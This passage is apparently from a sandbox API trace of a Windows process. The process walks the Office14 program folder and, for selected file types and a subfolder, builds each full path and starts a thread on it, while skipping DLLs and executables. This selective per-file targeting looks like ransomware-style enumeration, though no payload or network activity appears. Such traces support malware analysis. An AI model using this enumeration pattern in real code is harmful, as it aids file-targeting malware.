ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0147.931] wcscmp (_String1="IMPMAIL.DLL", _String2=".") returned 1 [0147.931] wcscmp (_String1="IMPMAIL.DLL", _String2="..") returned 1 [0147.931] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0147.931] wcscmp (_String1="IMUTIL.DLL", _String2=".") returned 1 [0147.931] wcscmp (_String1="IMUTIL.DLL", _String2="..") returned 1 [0147.931] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0147.931] wcscmp (_String1="IMWDD.DLL", _String2=".") returned 1 [0147.931] wcscmp (_String1="IMWDD.DLL", _String2="..") returned 1 [0147.931] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0147.931] wcscmp (_String1="IMWIZ.DLL", _String2=".") returned 1 [0147.931] wcscmp (_String1="IMWIZ.DLL", _String2="..") returned 1 [0147.931] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0147.931] wcscmp (_String1="INFOPATH.EXE", _String2=".") returned 1 [0147.932] wcscmp (_String1="INFOPATH.EXE", _String2="..") returned 1 [0147.932] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="INFOPA~1")) returned 1 [0147.932] wcscmp (_String1="InfoPathOM", _String2=".") returned 1 [0147.932] wcscmp (_String1="InfoPathOM", _String2="..") returned 1 [0147.932] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c440 [0147.932] wcscpy (in: _Dest=0x93c440, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.932] wcscat (in: _Dest=0x93c440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.932] wcscat (in: _Dest=0x93c440, _Source="InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0147.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93c440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e0 [0147.933] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0147.933] wcscmp (_String1="INLAUNCH.DLL", _String2=".") returned 1 [0147.933] wcscmp (_String1="INLAUNCH.DLL", _String2="..") returned 1 [0147.933] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1 [0147.933] wcscmp (_String1="Installed_resources14.xss", _String2=".") returned 1 [0147.933] wcscmp (_String1="Installed_resources14.xss", _String2="..") returned 1 [0147.933] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ac268 [0147.933] wcscpy (in: _Dest=0x9ac268, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.933] wcscat (in: _Dest=0x9ac268, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.933] wcscat (in: _Dest=0x9ac268, _Source="Installed_resources14.xss" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" [0147.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4 [0147.934] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1 [0147.934] wcscmp (_String1="Installed_schemas14.xss", _String2=".") returned 1 [0147.934] wcscmp (_String1="Installed_schemas14.xss", _String2="..") returned 1 [0147.934] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0xd4c8980 [0147.935] wcscpy (in: _Dest=0xd4c8980, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.935] wcscat (in: _Dest=0xd4c8980, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.935] wcscat (in: _Dest=0xd4c8980, _Source="Installed_schemas14.xss" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" [0147.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c8980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8 [0147.936] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0147.936] wcscmp (_String1="INTLDATE.DLL", _String2=".") returned 1 [0147.936] wcscmp (_String1="INTLDATE.DLL", _String2="..") returned 1 [0147.936] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0147.936] wcscmp (_String1="IPDESIGN.DLL", _String2=".") returned 1 [0147.936] wcscmp (_String1="IPDESIGN.DLL", _String2="..") returned 1 [0147.936] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0147.936] wcscmp (_String1="IPEDITOR.DLL", _String2=".") returned 1 [0147.936] wcscmp (_String1="IPEDITOR.DLL", _String2="..") returned 1 [0147.936] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0147.936] wcscmp (_String1="IPIRM.XML", _String2=".") returned 1 [0147.936] wcscmp (_String1="IPIRM.XML", _String2="..") returned 1 [0147.936] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c9e0 [0147.936] wcscpy (in: _Dest=0x93c9e0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.936] wcscat (in: _Dest=0x93c9e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.936] wcscat (in: _Dest=0x93c9e0, _Source="IPIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" [0147.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ec [0147.938] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0147.938] wcscmp (_String1="IPIRMV.XML", _String2=".") returned 1 [0147.938] wcscmp (_String1="IPIRMV.XML", _String2="..") returned 1 [0147.938] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bcc0 [0147.938] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.938] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.938] wcscat (in: _Dest=0x93bcc0, _Source="IPIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" [0147.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f0 [0147.939] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0147.939] wcscmp (_String1="IPOLK.DLL", _String2=".") returned 1 [0147.939] wcscmp (_String1="IPOLK.DLL", _String2="..") returned 1 [0147.939] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0147.939] wcscmp (_String1="IXACS.PDL", _String2=".") returned 1 [0147.939] wcscmp (_String1="IXACS.PDL", _String2="..") returned 1 [0147.939] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c2d8 [0147.939] wcscpy (in: _Dest=0x93c2d8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.939] wcscat (in: _Dest=0x93c2d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.939] wcscat (in: _Dest=0x93c2d8, _Source="IXACS.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" [0147.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f4 [0147.940] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0147.940] wcscmp (_String1="IXDB2.PDL", _String2=".") returned 1 [0147.940] wcscmp (_String1="IXDB2.PDL", _String2="..") returned 1 [0147.940] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93cad0 [0147.940] wcscpy (in: _Dest=0x93cad0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.940] wcscat (in: _Dest=0x93cad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.940] wcscat (in: _Dest=0x93cad0, _Source="IXDB2.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" [0147.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f8 [0147.941] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0147.942] wcscmp (_String1="IXGENERC.PDL", _String2=".") returned 1 [0147.942] wcscmp (_String1="IXGENERC.PDL", _String2="..") returned 1 [0147.942] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93cbc0 [0147.942] wcscpy (in: _Dest=0x93cbc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.942] wcscat (in: _Dest=0x93cbc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.942] wcscat (in: _Dest=0x93cbc0, _Source="IXGENERC.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" [0147.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cbc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14fc [0147.943] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0147.943] wcscmp (_String1="IXOLEDB.PDL", _String2=".") returned 1 [0147.943] wcscmp (_String1="IXOLEDB.PDL", _String2="..") returned 1 [0147.943] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x971e70 [0147.943] wcscpy (in: _Dest=0x971e70, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.943] wcscat (in: _Dest=0x971e70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.943] wcscat (in: _Dest=0x971e70, _Source="IXOLEDB.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" [0147.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x971e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1500 [0147.944] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0147.944] wcscmp (_String1="IXORACLE.PDL", _String2=".") returned 1 [0147.944] wcscmp (_String1="IXORACLE.PDL", _String2="..") returned 1 [0147.944] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9720c8 [0147.944] wcscpy (in: _Dest=0x9720c8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.944] wcscat (in: _Dest=0x9720c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.944] wcscat (in: _Dest=0x9720c8, _Source="IXORACLE.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" [0147.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9720c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1504 [0147.945] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0147.945] wcscmp (_String1="IXSSRV.PDL", _String2=".") returned 1 [0147.945] wcscmp (_String1="IXSSRV.PDL", _String2="..") returned 1 [0147.945] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x972050 [0147.945] wcscpy (in: _Dest=0x972050, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.945] wcscat (in: _Dest=0x972050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.945] wcscat (in: _Dest=0x972050, _Source="IXSSRV.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" [0147.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1508 [0147.946] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0147.946] wcscmp (_String1="IXUTIL.DLL", _String2=".") returned 1 [0147.947] wcscmp (_String1="IXUTIL.DLL", _String2="..") returned 1 [0147.947] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0147.959] wcscmp (_String1="JFONT.DAT", _String2=".") returned 1 [0147.959] wcscmp (_String1="JFONT.DAT", _String2="..") returned 1 [0147.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x971fd8 [0147.959] wcscpy (in: _Dest=0x971fd8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.959] wcscat (in: _Dest=0x971fd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.960] wcscat (in: _Dest=0x971fd8, _Source="JFONT.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" [0150.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x971fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8 [0150.340] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, 